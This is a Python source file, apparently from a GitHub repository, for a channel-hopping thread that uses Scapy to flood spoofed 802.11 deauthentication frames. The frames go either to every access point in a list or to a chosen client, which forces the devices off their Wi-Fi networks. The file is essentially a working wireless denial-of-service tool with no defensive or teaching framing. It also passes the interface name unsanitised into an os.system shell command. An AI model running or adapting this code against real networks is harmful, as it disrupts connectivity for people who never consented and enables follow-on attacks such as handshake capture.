-
Notifications
You must be signed in to change notification settings - Fork 2
/
HoverThread.py
64 lines (54 loc) · 2.08 KB
/
HoverThread.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from scapy.layers.dot11 import Dot11, Dot11Deauth
import threading
from scapy.all import *
import Channel
class HoverThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.flag = False
self.daemon = True
self.mode = None
self.channel = 1
self.ap_list = None
self.lock = threading.Lock()
self.is_hacking = False
self.client = None
self.ap = None
def run(self):
try:
while True:
interface = conf.iface
self.switch(interface, self.channel)
if self.is_hacking ==True:
self.hack()
else:
time.sleep(1)
if self.channel is 11:
with self.lock:
self.channel = 1
Channel.channel=self.channel
else:
with self.lock:
self.channel+=1
Channel.channel=self.channel
except Exception as e:
print e
def hack(self):
if self.mode is "ALL":
for ap in self.ap_list:
if int(ap[1]) == self.channel:
address = ap[0]
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=address, addr3=address)/Dot11Deauth()
send(deauth_ap, inter=0.00001, count=5)
elif self.mode is "AP":
for ap in self.ap_list:
if int(ap[1]) == self.channel:
address = ap[0]
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=address, addr3=address)/Dot11Deauth()
send(deauth_ap, inter=0.00001, count=5)
elif self.mode is "CLIENT":
if int(self.ap[1]) == self.channel:
deauth_ap = Dot11(addr1=self.client, addr2=self.ap[0], addr3=self.ap[0])/Dot11Deauth()
send(deauth_ap, inter=0.00001, count=5)
def switch(self, interface, channel):
os.system("iw dev "+interface+" set channel "+str(channel))